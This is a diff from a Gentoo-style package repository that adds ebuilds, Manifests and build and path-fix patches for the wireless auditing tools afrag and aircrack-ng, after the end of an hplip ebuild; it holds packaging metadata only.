dev-libs/openssl:0 + ) + )" + +DEPEND="${COMMON_DEPEND} + virtual/pkgconfig" + +RDEPEND="${COMMON_DEPEND} + >=app-text/ghostscript-gpl-8.71-r3 + dev-python/dbus-python + policykit? ( + sys-auth/polkit + ) + !minimal? ( + dev-python/pygobject:2 + kernel_linux? ( virtual/udev ! ${i}.temp || die + mv ${i}.temp ${i} || die + done + + eautoreconf +} + +src_configure() { + local myconf drv_build minimal_build + + if use fax || use qt4 ; then + myconf="${myconf} --enable-dbus-build" + else + myconf="${myconf} --disable-dbus-build" + fi + + if use hpcups ; then + drv_build="$(use_enable hpcups hpcups-install)" + if use static-ppds ; then + drv_build="${drv_build} --enable-cups-ppd-install" + drv_build="${drv_build} --disable-cups-drv-install" + else + drv_build="${drv_build} --enable-cups-drv-install" + drv_build="${drv_build} --disable-cups-ppd-install" + fi + else + drv_build="--disable-hpcups-install" + drv_build="${drv_build} --disable-cups-drv-install" + drv_build="${drv_build} --disable-cups-ppd-install" + fi + + if use hpijs ; then + drv_build="${drv_build} $(use_enable hpijs hpijs-install)" + if use static-ppds ; then + drv_build="${drv_build} --enable-foomatic-ppd-install" + drv_build="${drv_build} --disable-foomatic-drv-install" + else + drv_build="${drv_build} --enable-foomatic-drv-install" + drv_build="${drv_build} --disable-foomatic-ppd-install" + fi + else + drv_build="${drv_build} --disable-hpijs-install" + drv_build="${drv_build} --disable-foomatic-drv-install" + drv_build="${drv_build} --disable-foomatic-ppd-install" + fi + + if use minimal ; then + if use hpijs ; then + minimal_build="--enable-hpijs-only-build" + else + minimal_build="--disable-hpijs-only-build" + fi + if use hpcups ; then + minimal_build="${minimal_build} --enable-hpcups-only-build" + else + minimal_build="${minimal_build} --disable-hpcups-only-build" + fi + fi + + econf \ + --disable-cups11-build \ + --disable-lite-build \ + --disable-foomatic-rip-hplip-install \ + --disable-shadow-build \ + --disable-qt3 \ + --disable-libusb01_build \ + --disable-udev_sysfs_rules \ + --disable-udev-acl-rules \ + --with-cupsbackenddir=$(cups-config --serverbin)/backend \ + --with-cupsfilterdir=$(cups-config --serverbin)/filter \ + --with-docdir=/usr/share/doc/${PF} \ + --with-htmldir=/usr/share/doc/${PF}/html \ + ${myconf} \ + ${drv_build} \ + ${minimal_build} \ + $(use_enable doc doc-build) \ + $(use_enable fax fax-build) \ + $(use_enable parport pp-build) \ + $(use_enable scanner scan-build) \ + $(use_enable snmp network-build) \ + $(use_enable qt4 gui-build) \ + $(use_enable qt4) \ + $(use_enable policykit) +} + +src_install() { + default + + # Installed by sane-backends + # Gentoo Bug: #201023 + rm -f "${D}"/etc/sane.d/dll.conf || die + + # bug 106035/259763 + if ! use autostart || ! use qt4 ; then + rm -r "${D}"/usr/share/applications "${D}"/etc/xdg + fi + + rm -f "${D}"/usr/share/doc/${PF}/{copyright,README_LIBJPG,COPYING} || die + rmdir --ignore-fail-on-non-empty "${D}"/usr/share/doc/${PF}/ || die + + # Remove hal fdi files + rm -rf "${D}"/usr/share/hal || die + + find "${D}" -name '*.la' -exec rm -rf {} + || die +} + +pkg_postinst() { + use !minimal && python_mod_optimize /usr/share/${PN} + fdo-mime_desktop_database_update + + elog "For more information on setting up your printer please take" + elog "a look at the hplip section of the gentoo printing guide:" + elog "http://www.gentoo.org/doc/en/printing-howto.xml" + elog + elog "Any user who wants to print must be in the lp group." +} + +pkg_postrm() { + use !minimal && python_mod_cleanup /usr/share/${PN} + fdo-mime_desktop_database_update +} diff --git a/net-wireless/afrag/Manifest b/net-wireless/afrag/Manifest new file mode 100644 index 00000000..eca9b3e5 --- /dev/null +++ b/net-wireless/afrag/Manifest @@ -0,0 +1,2 @@ +DIST afrag-0.1.tar.bz2 12061 RMD160 2b0e7c0a27c20d310b64e098b25ffb4fee05d21f SHA1 6b621c05f361e02d3d16b7e572b4851e111d3bbc SHA256 5c13746c36d6c7eed87a71fe797ecd32c882bfecf50e846623036bb7b1623eda +EBUILD afrag-0.1.ebuild 510 RMD160 25f9559be934cb74652ff2609df043fff89ec64e SHA1 85235c6b7cb0016c53dbe855d21f774a19c1a2dc SHA256 3e4616a94aa734e9ffa5973c20a83c2ff0495dcb25fa865546820e1aa41f0114 diff --git a/net-wireless/afrag/afrag-0.1.ebuild b/net-wireless/afrag/afrag-0.1.ebuild new file mode 100644 index 00000000..f03d95b5 --- /dev/null +++ b/net-wireless/afrag/afrag-0.1.ebuild @@ -0,0 +1,24 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +DESCRIPTION="Implementation of a WIFI Fragmentation attack" +HOMEPAGE="http://homepages.tu-darmstadt.de/~p_larbig/wlan/" +SRC_URI="http://homepages.tu-darmstadt.de/~p_larbig/wlan/${P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~x86 ~amd64" +IUSE="" + +DEPEND="" +RDEPEND="" + +src_compile() { + gcc $CFLAGS -o ${PN} ${PN}.c +} + +src_install() { + dobin ${PN} || die "install failed" + dodoc README +} diff --git a/net-wireless/aircrack-ng/Manifest b/net-wireless/aircrack-ng/Manifest new file mode 100644 index 00000000..d5a9a8cb --- /dev/null +++ b/net-wireless/aircrack-ng/Manifest @@ -0,0 +1,12 @@ +AUX aircrack-ng-1.1-respect_LDFLAGS.patch 3144 SHA256 543d8efee610cd32874abb0ebc7371619526613ed04fa70db35d1caf473efff8 SHA512 faaaa5b1733ce78b4461b34d33be5cca671259ebfd69a9211ef3a4e4b97f3c062edd11f9556ef88faa245db87c6da59048efd593fbf4d31f48917df218bba272 WHIRLPOOL 7562c4fec3b3f5479186c0f4c16af0df97c7196f6d0072120ce460b5ca044244b26a49b7a47f07ebd01e022fd0acffb8493e46cd4c5f74e0b6adc2bd4b577a1c +AUX airdrop-ng-oui-path-fix.patch 742 SHA256 90b47ffd026369886ade93a2f51c2251cefcc0ea8610d559546d7b57b2ea94f2 SHA512 2d2591ebf554a74a4ab8c41f91986c1275b1e45688284880be1d8b172d2467db8fba45f1315db0607de4761dd515336c0ac8e8027e9060d926c39650825b9fb8 WHIRLPOOL 7f03c76edaefd15e5a815ff790b857173ff7fb4a35d77803c1feec69072b70c1e3483e41f2b23ce3c1b08b99d1a3c8cb0a0f8dab14084da6309e17612b24e38d +AUX airodump-ng-oui-update-path-fix.patch 572 SHA256 07cc244595a511d601e9bd6655a2939751ff1a16892529db5210bc4484af1cc9 SHA512 b18d570c0092e88d90439c09bedfa5d36f14ed5348085189d98d58cdee81c8c14582c448b36ed16537dae96073df7bee0340220877d07fd2df081eef0069b068 WHIRLPOOL 368e1cf8e115a452ce649b6c87c53afe9306b2de53c340916f3fba73f766cb469795e30bf1d2a1990893258cf99c9ea3bd682f8f4b1f7aa93065277ed1828805 +AUX airodump-ng.ignore-negative-one.v4.patch 5705 SHA256 d77f676f0ccd83e1e192f78473ff77ea55be6b3c652e14921938cc3a79ac6a10 SHA512 7dda1dd122c28e8c8666cac4529f3c46b34f9a4408dea3c7f1ea9397f282b0b41f3c7685335ffac1d551e02d06aa5d8adfcfe2dc722ac829547dc64a6871bf12 WHIRLPOOL fe5dfd5f8f004849f2c1f3a140cbbf8b17e9facadacee32883d29140a0da322b44ce4ade7b3d431698212904e934a48fcd76caee5ba3be72d9532c4ef70af7a1 +AUX changeset_r1921_backport.diff 1941 SHA256 a4655b208358b62a710f84206a69a5b0bb2091aeb47d73adbf0b7e8cd5a30c46 SHA512 dd3822bc8abc359b925657b32e69f7653e3a4ce780ce416386f2a2f6ae27de64730bfd9817c8cd1dc2941d0bf4a127d742fdf75a9113be7466276830bc618d66 WHIRLPOOL 25446d8808569dc5f90d7454d42af9b65cc71d44f3c77cd416c2b2cb36fc3f3cdddfe3c11ebb2279442e13c9d11fca0fc2697f281437d8f1e1860eb0115d7886 +AUX diff-wpa-migration-mode-aircrack-ng.diff 25165 SHA256 d36f2380d83fbfcbc48698cfd6d08de5a82a5a624a5d9f9cc3dbaaf7b7731fd8 SHA512 4018fde3f2873aefdd58516efdc77a5d177dc45574d8db23111b9935df19e746baf764e3cbe675f05b9316310d35b72c9d262d971748de36958e95ffdac63cbc WHIRLPOOL 15c3b1e6574becc0753a2bd402a6968afbe557df4c90d317495c162fbdd06bfd4324caf89d95f94ed18b1d5a62052dd8ec0feee29db3ce3eb6749f9ab9d7f2cc +AUX eapol_fix.patch 1014 SHA256 fcfaa1cfa75cbaac214ac3cb01b8401ff062f356acc75be39ea725fc42e10132 SHA512 53a2c66bc82c394647d00a0f179e1b78d25d249d4a196142b71fb3803533cf82b33c74a57bc219bf98eea64044129ab5d8adb9a883e0d4bfa74d0828a286413b WHIRLPOOL d0d349915331c84a78e896760c08f57b842e7e08c75e90736eb3aaae341217a1e0c8564230979a03c0abc9a1491aa1bd6451e2364dfe001047c5a735715aa0f4 +AUX ignore-channel-1-error.patch 2270 SHA256 aa2345b9ba7b59c79e54a5546f28398aaea4068c7030b520069e25f71cd029e4 SHA512 ab5f988316e9678b3040966f7041ae69a5afc2e41b762f76aa06fee8def0474703f5ebe006541f6066f896ea99ad8fe0b64063ad0a69012ed0d044e06b96473c WHIRLPOOL e6af56315b0fccdaadd0c74ff06a6446ace47950f6b2ce5862918b1dc48ba446935ca848bbc4a77fd31e148630033b22b0e16c14e6a176892d92c42a7451b9f2 +AUX pic-fix.patch 4838 SHA256 33d1693ec0cbea1933bdfcaa30a16bab2d566927a0c7eaf57cd7cb08886c4cba SHA512 54e068bbea0802196f2ca9e98ebe2aa85e28e359f9a1e6518e6869e95faa353404d28451caca3286ea4da48238e350c5a79b960c88b6c03fb32642e1ca5dfb21 WHIRLPOOL 1f3470a235a1014dd3bae14bed45baa06442fc45a343eb37f6b0cf19f14bfa64d053aceeac96797e8b280fca67710f2cfb19dc8ecbe219c6c412308b4bb099df +DIST aircrack-ng-1.1.tar.gz 1453272 SHA256 b136b549b7d2a2751c21793100075ea43b28de9af4c1969508bb95bcc92224ad SHA512 e2246c3e5bb61a7294b8483ba7865a7da78c35c0444ded51e61076b1b15a1329c757de2828b6a23ab399a77c1c51949cb6833cfa2823c1f8819c8c12f7799270 WHIRLPOOL 37592c80250cb92ab0a1cf25beffffd3449434721068d586731c2669b10bf0ab2461ede664614e0286581a5ccd8e8721181c367d9774700c1c72ca8c640d2530 +EBUILD aircrack-ng-1.1-r6.ebuild 2372 SHA256 6adf4d9e4386edbfb4f36f00f1f42a43f55c3710e9e1e7534a60586f3ce03b49 SHA512 92bca8e8039cbe507062102b740991289705200c4795314c13f9dbf28aeae0c22e99fcbbe467481de25e7f33ef606775dee03f3fdc4215e8410af3fcf20adef2 WHIRLPOOL e5b0a37cfe37cde94ba1249f70c698370afcb5636ca059e6313cdf3c5bb364d5d49dff5a0b1fcd3961c9f9fd0140e7fde3bb9b7a6282d39e3c4a1c4072e6d42f +EBUILD aircrack-ng-9999.ebuild 2443 SHA256 5e4f5a0613e9e0b4a670eacc39f7ac05cdb1d1206fec8d508f0d497fb698c988 SHA512 5a7a859e41f5468a137b9bf5d977e3ad1af30a6fe8704aec430ed2b39f4b8a45c8c932ef89fc290fd0d3f6a9f1b0cd21f22b336f4c9a7d0f02fb20e2f4499219 WHIRLPOOL dbb4262ca5e6b4e36395b50df04f872fa89544ee42c7d79f790568e32dd9db9103430211167ce0264a02bd037a83455ee50f78a36d5e7864834df94dc57025f5 diff --git a/net-wireless/aircrack-ng/aircrack-ng-1.1-r6.ebuild b/net-wireless/aircrack-ng/aircrack-ng-1.1-r6.ebuild new file mode 100644 index 00000000..850618a7 --- /dev/null +++ b/net-wireless/aircrack-ng/aircrack-ng-1.1-r6.ebuild @@ -0,0 +1,82 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" + +inherit versionator + +MY_PV=$(replace_version_separator 2 '-') + +DESCRIPTION="WLAN tools for breaking 802.11 WEP/WPA keys" +HOMEPAGE="http://www.aircrack-ng.org" +SRC_URI="http://download.aircrack-ng.org/${PN}-${MY_PV}.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="x86 amd64 arm" + +IUSE="kernel_linux kernel_FreeBSD +sqlite +unstable" + +DEPEND="dev-libs/openssl + sqlite? ( >=dev-db/sqlite-3.4 )" +RDEPEND="${DEPEND} + kernel_linux? ( net-wireless/iw net-wireless/wireless-tools )" + +S="${WORKDIR}/${PN}-${MY_PV}" + +have_sqlite() { + use sqlite && echo "true" || echo "false" +} + +have_unstable() { + use unstable && echo "true" || echo "false" +} + +src_prepare() { + #backports + epatch "${FILESDIR}/${P}-respect_LDFLAGS.patch" + epatch "${FILESDIR}"/diff-wpa-migration-mode-aircrack-ng.diff + epatch "${FILESDIR}"/ignore-channel-1-error.patch + epatch "${FILESDIR}"/airodump-ng.ignore-negative-one.v4.patch + epatch "${FILESDIR}"/pic-fix.patch + epatch "${FILESDIR}"/changeset_r1921_backport.diff + epatch "${FILESDIR}"/eapol_fix.patch + + #likely to stay after version bump + epatch "${FILESDIR}"/airodump-ng-oui-update-path-fix.patch +} + +src_compile() { + emake -j1 CC="$(tc-getCC)" LD="$(tc-getLD)" sqlite=$(have_sqlite) unstable=$(have_unstable) || die "emake failed" +} + +src_install() { + emake \ + prefix="${EPREFIX}/usr" \ + mandir="${EPREFIX}/usr/share/man/man1" \ + DESTDIR="${ED}" \ + sqlite=$(have_sqlite) \ + unstable=$(have_unstable) \ + install \ + || die "emake install failed" + + dodoc AUTHORS ChangeLog INSTALLING README + dodir /etc/aircrack-ng/ + wget http://standards.ieee.org/regauth/oui/oui.txt -O "${ED}"/etc/aircrack-ng/airodump-ng-oui.txt +} + +pkg_postinst() { + # Message is (c) FreeBSD + # http://www.freebsd.org/cgi/cvsweb.cgi/ports/net-mgmt/aircrack-ng/files/pkg-message.in?rev=1.5 + if use kernel_FreeBSD ; then + einfo "Contrary to Linux, it is not necessary to use airmon-ng to enable the monitor" + einfo "mode of your wireless card. So do not care about what the manpages say about" + einfo "airmon-ng, airodump-ng sets monitor mode automatically." + echo + einfo "To return from monitor mode, issue the following command:" + einfo " ifconfig \${INTERFACE} -mediaopt monitor" + einfo + einfo "For aireplay-ng you need FreeBSD >= 7.0." + fi +} diff --git a/net-wireless/aircrack-ng/aircrack-ng-9999.ebuild b/net-wireless/aircrack-ng/aircrack-ng-9999.ebuild new file mode 100644 index 00000000..609975e0 --- /dev/null +++ b/net-wireless/aircrack-ng/aircrack-ng-9999.ebuild @@ -0,0 +1,90 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" + +inherit versionator subversion + +DESCRIPTION="WLAN tools for breaking 802.11 WEP/WPA keys" +HOMEPAGE="http://www.aircrack-ng.org" +ESVN_REPO_URI="http://trac.aircrack-ng.org/svn/trunk/" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="" + +IUSE="+airdrop-ng +airgraph-ng kernel_linux kernel_FreeBSD netlink +sqlite +unstable" + +DEPEND="dev-libs/openssl + netlink? ( dev-libs/libnl:3 ) + sqlite? ( >=dev-db/sqlite-3.4 )" +RDEPEND="${DEPEND} + kernel_linux? ( + net-wireless/iw + net-wireless/wireless-tools + sys-apps/ethtool + sys-apps/usbutils + sys-apps/pciutils ) + airdrop-ng? ( net-wireless/lorcon[python] )" + +S="${WORKDIR}/${PN}" + +subversion_src_prepare() { + subversion_bootstrap || die "${ESVN}: unknown problem occurred in subversion_bootstrap." +} + +src_unpack() { + subversion_src_unpack + dodir /usr/share/${PN} + wget http://standards.ieee.org/regauth/oui/oui.txt -O "${ED}"/usr/share/${PN}/airodump-ng-oui.txt +} + +src_compile() { + emake \ + CC="$(tc-getCC)" \ + AR="$(tc-getAR)" \ + LD="$(tc-getLD)" \ + RANLIB="$(tc-getRANLIB)" \ + libnl=$(usex netlink true false) \ + sqlite=$(usex sqlite true false) \ + unstable=$(usex unstable true false) \ + REVFLAGS=-D_REVISION="${ESVN_WC_REVISION}" +} + +src_install() { + emake \ + prefix="${ED}/usr" \ + libnl=$(usex netlink true false) \ + sqlite=$(usex sqlite true false) \ + unstable=$(usex unstable true false) \ + REVFLAGS=-D_REVISION="${ESVN_WC_REVISION}" \ + install + + dodoc AUTHORS ChangeLog INSTALLING README + + if use airgraph-ng; then + cd "${S}/scripts/airgraph-ng" + emake prefix="${ED}/usr" install + fi + if use airdrop-ng; then + cd "${S}/scripts/airdrop-ng" + emake prefix="${ED}/usr" install + fi +} + +pkg_postinst() { + # Message is (c) FreeBSD + # http://www.freebsd.org/cgi/cvsweb.cgi/ports/net-mgmt/aircrack-ng/files/pkg-message.in?rev=1.5 + if use kernel_FreeBSD ; then + einfo "Contrary to Linux, it is not necessary to use airmon-ng to enable the monitor" + einfo "mode of your wireless card. So do not care about what the manpages say about" + einfo "airmon-ng, airodump-ng sets monitor mode automatically." + echo + einfo "To return from monitor mode, issue the following command:" + einfo " ifconfig \${INTERFACE} -mediaopt monitor" + einfo + einfo "For aireplay-ng you need FreeBSD >= 7.0." + fi + einfo "Run 'airodump-ng-oui-update' as root to install or update OUI file" +} diff --git a/net-wireless/aircrack-ng/files/aircrack-ng-1.1-respect_LDFLAGS.patch b/net-wireless/aircrack-ng/files/aircrack-ng-1.1-respect_LDFLAGS.patch new file mode 100644 index 00000000..b7358b3c --- /dev/null +++ b/net-wireless/aircrack-ng/files/aircrack-ng-1.1-respect_LDFLAGS.patch @@ -0,0 +1,91 @@ +--- src/Makefile ++++ src/Makefile +@@ -90,13 +90,13 @@ + + + OSD = osdep +-LIBS = -L$(OSD) -l$(OSD) $(LIBPCAP) $(LDFLAGS) ++LIBS = -L$(OSD) -l$(OSD) $(LIBPCAP) + ifeq ($(OSNAME), cygwin) + LIBS += -liphlpapi -lsetupapi -luuid + endif + LIBOSD = $(OSD)/lib$(OSD).a + +-LIBSSL = -lssl -lcrypto $(LDFLAGS) ++LIBSSL = -lssl -lcrypto + LIBSQL = + ifeq ($(SQLITE), true) + LIBSQL = -L/usr/local/lib -lsqlite3 +@@ -140,55 +140,55 @@ + aircrack-ng-opt-prof -lpthread $(LIBSQL) + + aircrack-ng$(EXE): $(OBJS_AC) +- $(CC) $(CFLAGS) $(OBJS_AC) $(ASM_AC) -o $(@) -lpthread $(LIBSSL) $(LIBSQL) ++ $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AC) $(ASM_AC) -o $(@) -lpthread $(LIBSSL) $(LIBSQL) + + airdecap-ng$(EXE): $(OBJS_AD) +- $(CC) $(CFLAGS) $(OBJS_AD) -o $(@) $(LIBSSL) ++ $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AD) -o $(@) $(LIBSSL) + + packetforge-ng$(EXE): $(OBJS_PF) +- $(CC) $(CFLAGS) $(OBJS_PF) -o $(@) $(LIBSSL) ++ $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_PF) -o $(@) $(LIBSSL) + + aireplay-ng$(EXE): $(OBJS_AR) $(LIBOSD) +- $(CC) $(CFLAGS) $(OBJS_AR) -o $(@) $(LIBS) $(LIBSSL) ++ $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AR) -o $(@) $(LIBS) $(LIBSSL) + + airodump-ng$(EXE): $(OBJS_ADU) $(LIBOSD) +- $(CC) $(CFLAGS) $(OBJS_ADU) -o $(@) $(LIBS) $(LIBSSL) -lpthread ++ $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_ADU) -o $(@) $(LIBS) $(LIBSSL) -lpthread + + airserv-ng$(EXE): $(OBJS_AS) $(LIBOSD) +- $(CC) $(CFLAGS) $(OBJS_AS) -o $(@) $(LIBS) $(LIBPCAP) ++ $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AS) -o $(@) $(LIBS) $(LIBPCAP) + + airtun-ng$(EXE): $(OBJS_AT) $(LIBOSD) +- $(CC) $(CFLAGS) $(OBJS_AT) -o $(@) $(LIBS) $(LIBSSL) ++ $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AT) -o $(@) $(LIBS) $(LIBSSL) + + ivstools$(EXE): $(OBJS_IV) +- $(CC) $(CFLAGS) $(OBJS_IV) -o $(@) $(LIBSSL) ++ $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_IV) -o $(@) $(LIBSSL) + + kstats$(EXE): kstats.o +- $(CC) $(CFLAGS) kstats.o -o $(@) ++ $(CC) $(CFLAGS) $(LDFLAGS) kstats.o -o $(@) + + wesside-ng$(EXE): $(OBJS_WS) $(LIBOSD) +- $(CC) $(CFLAGS) $(OBJS_WS) -o $(@) $(LIBS) $(LIBSSL) -lz ++ $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_WS) -o $(@) $(LIBS) $(LIBSSL) -lz + + easside-ng$(EXE): $(OBJS_ES) $(LIBOSD) +- $(CC) $(CFLAGS) $(OBJS_ES) -o $(@) $(LIBS) -lz ++ $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_ES) -o $(@) $(LIBS) -lz + + buddy-ng$(EXE): $(OBJS_BUDDY) +- $(CC) $(CFLAGS) $(OBJS_BUDDY) -o $(@) ++ $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_BUDDY) -o $(@) + + makeivs-ng$(EXE): $(OBJS_MI) +- $(CC) $(CFLAGS) $(OBJS_MI) -o $(@) ++ $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_MI) -o $(@) + + airolib-ng$(EXE): $(OBJS_AL) +- $(CC) $(CFLAGS) $(OBJS_AL) -o $(@) $(LIBSSL) -DHAVE_REGEXP $(LIBSQL) ++ $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AL) -o $(@) $(LIBSSL) -DHAVE_REGEXP $(LIBSQL) + + airbase-ng$(EXE): $(OBJS_AB) $(LIBOSD) +- $(CC) $(CFLAGS) $(OBJS_AB) -o $(@) $(LIBS) $(LIBSSL) -lpthread ++ $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AB) -o $(@) $(LIBS) $(LIBSSL) -lpthread + + airdecloak-ng$(EXE): $(OBJS_AU) +- $(CC) $(CFLAGS) $(OBJS_AU) -o $(@) ++ $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AU) -o $(@) + + tkiptun-ng$(EXE): $(OBJS_TT) $(LIBOSD) +- $(CC) $(CFLAGS) $(OBJS_TT) -o $(@) $(LIBS) $(LIBSSL) ++ $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_TT) -o $(@) $(LIBS) $(LIBSSL) + + strip: $(BINFILES) $(SBINFILES) + strip $(BINFILES) $(SBINFILES) diff --git a/net-wireless/aircrack-ng/files/airdrop-ng-oui-path-fix.patch b/net-wireless/aircrack-ng/files/airdrop-ng-oui-path-fix.patch new file mode 100644 index 00000000..8b32a7f3 --- /dev/null +++ b/net-wireless/aircrack-ng/files/airdrop-ng-oui-path-fix.patch @@ -0,0 +1,13 @@ +Index: scripts/airdrop-ng/airdrop/libOuiParse.py +=================================================================== +--- scripts/airdrop-ng/airdrop/libOuiParse.py (revision 2109) ++++ scripts/airdrop-ng/airdrop/libOuiParse.py (working copy) +@@ -34,7 +34,7 @@ + generate the two dictionaries and return them + """ + #a poor fix where if we have no file it trys to download it +- aircrackOUI = '/usr/local/etc/aircrack-ng/airodump-ng-oui.txt' ++ aircrackOUI = '/etc/aircrack-ng/airodump-ng-oui.txt' + self.ouiTxtUrl = "http://standards.ieee.org/regauth/oui/oui.txt" + self.ouiUnPath = install_dir#path to oui.txt if module is installed + self.ouiInPath = install_dir + '/support/' #path to oui.txt if module is not installed diff --git a/net-wireless/aircrack-ng/files/airodump-ng-oui-update-path-fix.patch b/net-wireless/aircrack-ng/files/airodump-ng-oui-update-path-fix.patch new file mode 100644 index 00000000..846f03da --- /dev/null +++ b/net-wireless/aircrack-ng/files/airodump-ng-oui-update-path-fix.patch @@ -0,0 +1,12 @@ +diff -Naur aircrack-ng-1.1/scripts/airodump-ng-oui-update aircrack-ng-1.1-patched/scripts/airodump-ng-oui-update +--- aircrack-ng-1.1/scripts/airodump-ng-oui-update 2009-08-07 16:53:15.000000000 -0400 ++++ aircrack-ng-1.1-patched/scripts/airodump-ng-oui-update 2011-07-06 10:35:18.000000000 -0400 +@@ -4,7 +4,7 @@ + WGET=`which wget 2>/dev/null` + OUI_DOWNLOAD_URL="http://standards.ieee.org/regauth/oui/oui.txt" + +-OUI_PATH="/usr/local/etc/aircrack-ng" ++OUI_PATH="/etc/aircrack-ng" + AIRODUMP_NG_OUI="${OUI_PATH}/airodump-ng-oui.txt" + OUI_IEEE="${OUI_PATH}/oui.txt" + USERID="" diff --git a/net-wireless/aircrack-ng/files/airodump-ng.ignore-negative-one.v4.patch b/net-wireless/aircrack-ng/files/airodump-ng.ignore-negative-one.v4.patch new file mode 100644 index 00000000..fd1df041 --- /dev/null +++ b/net-wireless/aircrack-ng/files/airodump-ng.ignore-negative-one.v4.patch @@ -0,0 +1,121 @@ +Index: src/airodump-ng.c +=================================================================== +--- src/airodump-ng.c (revision 1916) ++++ src/airodump-ng.c (working copy) +@@ -589,42 +589,44 @@ + " usage: airodump-ng [,,...]\n" + "\n" + " Options:\n" +-" --ivs : Save only captured IVs\n" +-" --gpsd : Use GPSd\n" +-" --write : Dump file prefix\n" +-" -w : same as --write \n" +-" --beacons : Record all beacons in dump file\n" +-" --update : Display update delay in seconds\n" +-" --showack : Prints ack/cts/rts statistics\n" +-" -h : Hides known stations for --showack\n" +-" -f : Time in ms between hopping channels\n" +-" --berlin : Time before removing the AP/client\n" +-" from the screen when no more packets\n" +-" are received (Default: 120 seconds)\n" +-" -r : Read packets from that file\n" +-" -x : Active Scanning Simulation\n" ++" --ivs : Save only captured IVs\n" ++" --gpsd : Use GPSd\n" ++" --write : Dump file prefix\n" ++" -w : same as --write \n" ++" --beacons : Record all beacons in dump file\n" ++" --update : Display update delay in seconds\n" ++" --showack : Prints ack/cts/rts statistics\n" ++" -h : Hides known stations for --showack\n" ++" -f : Time in ms between hopping channels\n" ++" --berlin : Time before removing the AP/client\n" ++" from the screen when no more packets\n" ++" are received (Default: 120 seconds)\n" ++" -r : Read packets from that file\n" ++" -x : Active Scanning Simulation\n" + " --output-format\n" +-" : Output format. Possible values:\n" +-" pcap, ivs, csv, gps, kismet, netxml\n" ++" : Output format. Possible values:\n" ++" pcap, ivs, csv, gps, kismet, netxml\n" ++" --ignore-negative-one : Removes the message that says\n" ++" fixed channel : -1\n" + "\n" + " Filter options:\n" +-" --encrypt : Filter APs by cipher suite\n" +-" --netmask : Filter APs by mask\n" +-" --bssid : Filter APs by BSSID\n" +-" -a : Filter unassociated clients\n" ++" --encrypt : Filter APs by cipher suite\n" ++" --netmask : Filter APs by mask\n" ++" --bssid : Filter APs by BSSID\n" ++" -a : Filter unassociated clients\n" + "\n" + " By default, airodump-ng hop on 2.4GHz channels.\n" + " You can make it capture on other/specific channel(s) by using:\n" +-" --channel : Capture on specific channels\n" +-" --band : Band on which airodump-ng should hop\n" +-" -C : Uses these frequencies in MHz to hop\n" +-" --cswitch : Set channel switching method\n" +-" 0 : FIFO (default)\n" +-" 1 : Round Robin\n" +-" 2 : Hop on last\n" +-" -s : same as --cswitch\n" ++" --channel : Capture on specific channels\n" ++" --band : Band on which airodump-ng should hop\n" ++" -C : Uses these frequencies in MHz to hop\n" ++" --cswitch : Set channel switching method\n" ++" 0 : FIFO (default)\n" ++" 1 : Round Robin\n" ++" 2 : Hop on last\n" ++" -s : same as --cswitch\n" + "\n" +-" --help : Displays this usage screen\n" ++" --help : Displays this usage screen\n" + "\n"; + + int is_filtered_netmask(uchar *bssid) +@@ -5037,6 +5039,7 @@ + for(i=0; i: -1'. + .PP + .B Filter options: + .TP diff --git a/net-wireless/aircrack-ng/files/changeset_r1921_backport.diff b/net-wireless/aircrack-ng/files/changeset_r1921_backport.diff new file mode 100644 index 00000000..e9a4a801 --- /dev/null +++ b/net-wireless/aircrack-ng/files/changeset_r1921_backport.diff @@ -0,0 +1,60 @@ +diff -Naur aircrack-ng-1.1/src/airodump-ng.c aircrack-ng-1.1-patched/src/airodump-ng.c +--- aircrack-ng-1.1/src/airodump-ng.c 2011-07-06 10:28:54.000000000 -0400 ++++ aircrack-ng-1.1-patched/src/airodump-ng.c 2011-07-06 10:24:40.000000000 -0400 +@@ -383,8 +383,11 @@ + unsigned char c[2]; + struct oui *oui_ptr = NULL, *oui_head = NULL; + +- if (!(fp = fopen(OUI_PATH, "r"))) +- return NULL; ++ if (!(fp = fopen(OUI_PATH0, "r"))) { ++ if (!(fp = fopen(OUI_PATH1, "r"))) { ++ return NULL; ++ } ++ } + + memset(buffer, 0x00, sizeof(buffer)); + while (fgets(buffer, sizeof(buffer), fp) != NULL) { +@@ -3592,6 +3595,7 @@ + #define OUI_STR_SIZE 8 + #define MANUF_SIZE 128 + char *get_manufacturer(unsigned char mac0, unsigned char mac1, unsigned char mac2) { ++ static char * oui_location = NULL; + char oui[OUI_STR_SIZE + 1]; + char *manuf; + //char *buffer_manuf; +@@ -3625,7 +3629,20 @@ + } + } else { + // If the file exist, then query it each time we need to get a manufacturer. +- fp = fopen(OUI_PATH, "r"); ++ if (oui_location == NULL) { ++ fp = fopen(OUI_PATH0, "r"); ++ if (fp == NULL) { ++ fp = fopen(OUI_PATH1, "r"); ++ if (fp != NULL) { ++ oui_location = OUI_PATH1; ++ } ++ } else { ++ oui_location = OUI_PATH0; ++ } ++ } else { ++ fp = fopen(oui_location, "r"); ++ } ++ + if (fp != NULL) { + + memset(buffer, 0x00, sizeof(buffer)); +diff -Naur aircrack-ng-1.1/src/airodump-ng.h aircrack-ng-1.1-patched/src/airodump-ng.h +--- aircrack-ng-1.1/src/airodump-ng.h 2011-07-06 